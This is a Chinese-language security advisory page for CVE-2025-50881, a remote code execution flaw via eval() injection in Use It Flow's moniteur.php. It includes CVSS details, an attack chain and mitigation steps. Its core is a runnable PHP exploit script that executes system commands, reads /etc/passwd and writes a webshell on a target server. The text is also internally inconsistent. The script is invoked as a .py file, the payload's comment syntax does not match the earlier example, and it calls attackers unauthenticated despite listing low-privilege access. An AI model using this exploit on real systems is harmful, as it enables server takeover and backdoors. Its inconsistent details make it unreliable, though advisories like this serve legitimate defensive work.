IPBUF安全漏洞报告
English
CVE-2025-50881 CVSS 8.8 高危

CVE-2025-50881 Use It Flow moniteur.php远程代码执行漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2025-50881
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Use It Flow administration website

相关标签

CVE-2025-50881远程代码执行RCEeval()注入Use It FlowPHPWeb应用安全管理后台权限绕过

漏洞概述

CVE-2025-50881是Use It Flow administration website 10.0.0之前版本中的一个高危远程代码执行漏洞。该漏洞存在于flow/admin/moniteur.php脚本中,当处理GET请求时,脚本从action URL参数获取用户输入,但由于验证不足,用户输入被直接拼接到字符串中并通过eval()函数执行。虽然代码中包含method_exists()检查,但该检查仅验证用户输入中第一个左括号(之前的部分,攻击者可以利用这一特性在有效方法调用后附加任意PHP代码。成功利用此漏洞允许未认证或仅有低权限的攻击者在Web服务器进程的权限下执行任意PHP代码,从而完全控制目标服务器。该漏洞的CVSS评分为8.8,属于高危级别,对系统机密性、完整性和可用性均造成严重影响。

技术细节

漏洞位于Use It Flow管理后台的flow/admin/moniteur.php文件。漏洞产生的根本原因是:1) 脚本直接获取GET参数action的值作为用户输入;2) 使用method_exists()函数进行安全检查,但该检查仅验证括号前的字符串是否为有效方法名;3) 未对括号后的内容进行任何过滤或验证;4) 将包含用户输入的字符串传递给eval()函数执行。攻击者可以通过构造特殊的action参数值来绕过method_exists()检查,例如:action=validmethod()/*注释*/;phpinfo();//。eval()函数会执行整个字符串,攻击者得以在服务器上执行任意PHP代码。由于该脚本位于管理后台目录,攻击者可能需要低权限认证或利用其他认证绕过手段访问,但一旦访问即可实现RCE。

攻击链分析

STEP 1
步骤1
攻击者发现目标站点使用Use It Flow管理后台,访问flow/admin/moniteur.php脚本
STEP 2
步骤2
攻击者构造恶意的action参数,利用method_exists()检查仅验证括号前内容的特性,在有效方法调用后注入PHP代码
STEP 3
步骤3
构造的payload通过eval()函数执行,例如:action=system()*/}system('id');/*
STEP 4
步骤4
eval()执行整个字符串,绕过method_exists()检查的代码被忽略,后续注入的PHP代码在服务器上执行
STEP 5
步骤5
攻击者成功在Web服务器权限下执行任意系统命令,实现远程代码执行
STEP 6
步骤6
攻击者可进一步写入webshell、窃取数据或横向移动,完全控制目标服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-50881 PoC - Use It Flow RCE via action parameter * Target: flow/admin/moniteur.php * Vulnerability: Insufficient validation in eval() allows PHP code injection * * Usage: php cve-2025-50881.py <target_url> * Example: php cve-2025-50881.py http://victim.com/useitflow */ $target = $argv[1] ?? 'http://localhost'; $path = '/flow/admin/moniteur.php'; // Method 1: Basic RCE via system() $action1 = "system()*/}system('id');/*"; $url1 = "{$target}{$path}?action=" . urlencode($action1); echo "[*] Method 1: Basic RCE\n"; echo "[*] URL: {$url1}\n"; $response1 = file_get_contents($url1); echo "[+] Response:\n{$response1}\n\n"; // Method 2: Using passthru() for blind RCE $action2 = "passthru()*/}passthru('cat /etc/passwd');/*"; $url2 = "{$target}{$path}?action=" . urlencode($action2); echo "[*] Method 2: Read /etc/passwd\n"; echo "[*] URL: {$url2}\n"; $response2 = file_get_contents($url2); echo "[+] Response:\n{$response2}\n\n"; // Method 3: Using exec() to write webshell $webshell = '<?php @eval($_POST["cmd"]); ?>"'; $action3 = "file_put_contents()*/}file_put_contents('shell.php','" . $webshell . "');/*"; $url3 = "{$target}{$path}?action=" . urlencode($action3); echo "[*] Method 3: Write Webshell\n"; echo "[*] URL: {$url3}\n"; echo "[!] After execution, webshell may be available at: {$target}/shell.php\n\n"; // Method 4: Using shell_exec() $action4 = "shell_exec()*/}echo shell_exec('whoami');/*"; $url4 = "{$target}{$path}?action=" . urlencode($action4); echo "[*] Method 4: Get current user\n"; echo "[*] URL: {$url4}\n"; $response4 = file_get_contents($url4); echo "[+] Response:\n{$response4}\n"; ?>

影响范围

Use It Flow administration website < 10.0.0

防御指南

临时缓解措施
立即限制对flow/admin/moniteur.php的访问,可通过.htaccess或Nginx配置禁止外部IP访问管理后台目录。同时在Web应用层添加输入验证逻辑,对action参数进行严格过滤,只允许预定义的方法名列表。考虑暂时禁用eval()函数的使用,改用安全的函数调用方式。如有条件,应尽快升级到10.0.0或更新版本以获得官方安全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表